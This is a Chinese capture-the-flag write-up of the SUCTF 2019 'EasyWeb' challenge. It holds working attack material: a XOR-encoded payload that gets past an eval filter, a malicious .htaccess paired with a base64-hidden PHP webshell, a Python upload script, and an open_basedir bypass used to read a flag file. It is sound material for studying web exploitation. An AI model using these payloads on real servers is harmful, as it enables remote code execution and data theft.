BUU WEB [SUCTF 2019]EasyWeb

emmm,这道题目涉及到较多知识点,就单独记录一下
首先打开网页可以看见源码:

<?php
function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);
?>

可以看见最后有个命令执行,不过对我们的参数进行了许多的过滤,
无数字字母,类似于这种之前第十届极客大挑战也有过,,可以采用异或、取反、自增绕过
这里取反无法实现,这里对长度有要求,所以自增也放弃,采用异或来进行绕过,
异或脚本:

<?php
function finds($string){$index = 0;$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];for($i=27;$i<count($a);$i++){for($j=27;$j<count($a);$j++){$x = $a[$i] ^ $a[$j];for($k = 0;$k<strlen($string);$k++){if(ord($string[$k]) == $x){echo $string[$k]."\n";echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";$index++;if($index == strlen($string)){return 0;}}}}}
}
finds("_GET");
?>

运行得到,因为这里还有字符种类限制,所以前面的都得一样:

得到payload:

?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

可以看见phpinfo页面,版本7.2,由于这里各种限制,所以我们就只能从get_the_flag()函数下手了
可以看见是上传文件,对后缀名进行了过滤,不能上传有ph的后缀文件,phtml,php等也不能上传了,
可以考虑.htaccess和.user.ini,不过这里.user.ini好像不行
对内容进行了过滤,不能包含<?,由于这里版本太高,所以<script language="php"></script>无法使用
这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码
还有个文件头检测,好办,一般都用GIF89进行绕过,但是这里会出现问题,.htaccess文件会无法生效
我们可以使用#define width 1337 #define height 1337进行绕过,#在.htaccess中表示注释
所以我们的.htaccess文件内容如下:

#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"

shell.ahhh:

GIF89a12     #12是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

上传脚本:

import requests
import base64htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://95670a2d-e895-4364-bb7b-94939098a4b6.node3.buuoj.cn/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

得到路径:

访问shell:

可以执行,但是好像无法读取根目录下的东西,可以读取/tmp的目录,不可以读取/etc的目录
从phpinfo中看到:

接下来就是绕过open_basedir了,参考这个bypass open_basedir的新方法
直接拿文中的payload用一下:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

得到:

读取一下:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

得到flag~~

总结

这个题知识点主要有三个:
1、通过异或来绕过无数字无字母的函数执行
2、通过上传.htaccess来getshell,其中还包括,如何绕过上传的过滤
3、绕过open_basedir
总的来说收获很大,不得不说suctf的质量很高,像我这种菜鸡就不会做,,,,
在吐槽一下这个网络,做一半断网差点文章不保~~~

BUU WEB [SUCTF 2019]EasyWeb相关推荐

  1. [SUCTF 2019]CheckIn

    web第25题 [SUCTF 2019]CheckIn 打开靶场 看来是一个文件上传的题 上传正常图片 返回路径,注意到有一个index.php 尝试直接上传一句话木马shell.php 提示非法后缀 ...

  2. [SUCTF 2019] SignIn

    [SUCTF 2019] SignIn 如果对本文存在有疑问或需要工具可以在下方给我留言! 这题比较简单 题目下载地址:https://www.lanzoux.com/iawzl2f 程序没有加壳,直 ...

  3. [SUCTF 2019]Game

    [SUCTF 2019]Game 题目地址 : https://buuoj.cn/challenges#[SUCTF%202019]Game 题目一共两个附件,先把src.zip 解压,在src目录下 ...

  4. web buuctf [SUCTF 2019]Pythonginx1

    知识点:1.nignx 2.idna编码与utf-8编码的漏洞 1.开题 查看源码,整理代码: @app.route('/getUrl', methods=['GET', 'POST']) def g ...

  5. [SUCTF 2019]EasySQL1 (buu一周目速通)

    进入靶机,根据题目是一道sql注入题目,经过普通手段注入发现大部分关键词都被过滤了, Array ( [0] => 1 ) 一解:发现输入数字回显代码,字母不回显,所以猜测后台代码存在 ||(或 ...

  6. buu web:[极客大挑战 2019]LoveSQL

    打开靶场,又是熟悉的登录框 直接丢万能密码:1' or 1=1#  1' or 1=1# 成功登录了进来,但是只给了一个用户名和密码 我们回去看一下有没有sql注入漏洞:admin'  aa8a6c9 ...

  7. BUU WEB刷题记录1(持续更新)

    [MRCTF2020]你传你马呢 打开得到一张晦气的图片和文件上传点 尝试直接上传PHP文件失败(意料之中),随便上传了一张png图片,发现可以,将png文件内容改写成一句话木马<?php @e ...

  8. BUU Web[33-36]

    [网鼎杯 2018]Fakebook 解题思路 打开页面就是login和join两个功能,尝试下注入无果,随便注册一个账号,发现blog有格式限制,注册后登陆 发现会有一个the content of ...

  9. BUU Web[29-32]

    [GXYCTF2019]BabySQli 解题思路 拿到题发现是个登录框,第一反应是注入密码,用户名随便输入,密码输入万能密码1' or '1'='1,提示wrong user f12查看源码,发现注 ...

  10. BUUCTF:[SUCTF 2019]Game

    https://buuoj.cn/challenges#[SUCTF%202019]Game index.html中发现一串base32 >>> import base64 > ...

最新文章

  1. 面了大厂的 Python 岗后,炸了!
  2. linux系统中文件编程,Linux当中的文件系统
  3. 某书2018面试题之最长对称子串
  4. C语言中的const,volatile与restrict的使用
  5. 上海电信计划2015年用户带宽提高12.5倍
  6. SpringMVC注解HelloWorld
  7. 计算机组成原理 参考,计算机组成原理参考练习
  8. android打开网络连接失败怎么办,《我叫MT Online》安卓版网络连接失败怎么解决?...
  9. 这7本O’Reilly推出的免费Python电子书,够你看了
  10. 微型计算机及接口技术考试卷,微机原理与接口技术考试试题及答案 2
  11. 《中国人工智能学会通讯》——7.7 结束语
  12. python初学小结三:文件、集合、函数、变量等
  13. CentOS 6系统FreeSwitch和RTMP服务 安装及演示(三)
  14. python画椭圆turtle_用python-turtle优雅的画椭圆
  15. Matlab中int()函数的使用
  16. OSChina 周六乱弹 —— 生命诚可贵,啤酒价更高
  17. 电脑连不上ishanghai_ishanghai电脑版下载-ishanghai电脑客户端v5.2.3 最新版 - 极光下载站...
  18. Multimodal Gesture Recognition Using 3-D Convolution and Convolutional LSTM
  19. 冰河公开了常逛的23大学习网站,赶快收藏
  20. 你的电脑里还在装着360杀毒软件吗?最好用的,免费的都在这里,给你的电脑换个好的杀软~!...

热门文章

  1. 华为网络工程师认证需要哪些学习资料?
  2. Python 中文变量名 用中文写 Python
  3. C++11: vector 初始化赋值
  4. 如何在EXCEL中练习VBA?
  5. Unity获取时间戳
  6. Themal稳态热仿真介绍
  7. 计算机office高级应用都考啥,office高级应用考什么 评分标准是什么
  8. 计算机高级应用都有啥,计算机二级MS OFFICE高级应用都有什么题型?
  9. 智能风控建模全流程--看这篇就够了
  10. 混合储能系统能量管理simulink仿真模型。 蓄电池和超级电容构成的混合储能系统能量管理控制策略